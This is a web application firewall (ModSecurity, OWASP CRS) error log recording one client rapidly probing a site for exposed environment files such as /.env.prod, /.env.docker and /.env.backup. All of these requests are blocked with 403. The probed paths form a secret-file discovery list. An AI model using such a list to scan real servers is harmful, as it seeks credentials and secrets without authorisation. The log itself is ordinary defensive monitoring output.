[Sun Oct 25 05:08:02.518574 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at3G8sAclEqdWzgpj08wHwAAAAc"]
[Sun Oct 25 05:08:02.615338 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at3G8sAclEqdWzgpj08wIAAAAAc"]
[Sun Oct 25 05:08:02.615605 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at3G8sAclEqdWzgpj08wIAAAAAc"]
[Sun Oct 25 05:08:02.615987 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at3G8sAclEqdWzgpj08wIAAAAAc"]
[Sun Oct 25 05:08:02.716001 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at3G8sAclEqdWzgpj08wIQAAAAc"]
[Sun Oct 25 05:08:02.716221 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at3G8sAclEqdWzgpj08wIQAAAAc"]
[Sun Oct 25 05:08:02.716527 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at3G8sAclEqdWzgpj08wIQAAAAc"]
[Sun Oct 25 05:08:02.811969 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at3G8sAclEqdWzgpj08wIgAAAAc"]
[Sun Oct 25 05:08:02.812276 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at3G8sAclEqdWzgpj08wIgAAAAc"]
[Sun Oct 25 05:08:02.812728 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at3G8sAclEqdWzgpj08wIgAAAAc"]
[Sun Oct 25 05:08:02.907981 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at3G8sAclEqdWzgpj08wIwAAAAc"]
[Sun Oct 25 05:08:02.908252 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at3G8sAclEqdWzgpj08wIwAAAAc"]
[Sun Oct 25 05:08:02.908638 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at3G8sAclEqdWzgpj08wIwAAAAc"]
[Sun Oct 25 05:08:03.027259 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at3G88AclEqdWzgpj08wJAAAAAc"]
[Sun Oct 25 05:08:03.027493 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at3G88AclEqdWzgpj08wJAAAAAc"]
[Sun Oct 25 05:08:03.027865 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at3G88AclEqdWzgpj08wJAAAAAc"]
[Sun Oct 25 05:08:03.135040 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at3G88AclEqdWzgpj08wJQAAAAc"]
[Sun Oct 25 05:08:03.135274 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at3G88AclEqdWzgpj08wJQAAAAc"]
[Sun Oct 25 05:08:03.135591 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at3G88AclEqdWzgpj08wJQAAAAc"]
[Sun Oct 25 05:08:03.235394 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at3G88AclEqdWzgpj08wJgAAAAc"]
[Sun Oct 25 05:08:03.235658 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at3G88AclEqdWzgpj08wJgAAAAc"]
[Sun Oct 25 05:08:03.235979 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at3G88AclEqdWzgpj08wJgAAAAc"]
[Sun Oct 25 05:08:03.331490 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at3G88AclEqdWzgpj08wJwAAAAc"]
[Sun Oct 25 05:08:03.331770 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at3G88AclEqdWzgpj08wJwAAAAc"]
[Sun Oct 25 05:08:03.332105 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at3G88AclEqdWzgpj08wJwAAAAc"]
[Sun Oct 25 05:08:03.441937 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at3G88AclEqdWzgpj08wKAAAAAc"]
[Sun Oct 25 05:08:03.442195 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at3G88AclEqdWzgpj08wKAAAAAc"]
[Sun Oct 25 05:08:03.442580 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at3G88AclEqdWzgpj08wKAAAAAc"]
[Sun Oct 25 05:08:03.553084 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at3G88AclEqdWzgpj08wKQAAAAc"]
[Sun Oct 25 05:08:03.553313 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at3G88AclEqdWzgpj08wKQAAAAc"]
[Sun Oct 25 05:08:03.553698 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at3G88AclEqdWzgpj08wKQAAAAc"]
[Sun Oct 25 05:08:03.652382 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at3G88AclEqdWzgpj08wKgAAAAc"]
[Sun Oct 25 05:08:03.652686 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at3G88AclEqdWzgpj08wKgAAAAc"]
[Sun Oct 25 05:08:03.653088 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at3G88AclEqdWzgpj08wKgAAAAc"]
[Sun Oct 25 05:08:03.746463 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at3G88AclEqdWzgpj08wKwAAAAc"]
[Sun Oct 25 05:08:03.746823 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at3G88AclEqdWzgpj08wKwAAAAc"]
[Sun Oct 25 05:08:03.747213 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at3G88AclEqdWzgpj08wKwAAAAc"]
[Sun Oct 25 05:08:03.838727 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at3G88AclEqdWzgpj08wLAAAAAc"]
[Sun Oct 25 05:08:03.838988 2026] [security2:error] [pid 2800176:tid 2800176] [client 34.32.57.139:41488] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at3G88AclEqdWzgpj08wLAAAAAc"]
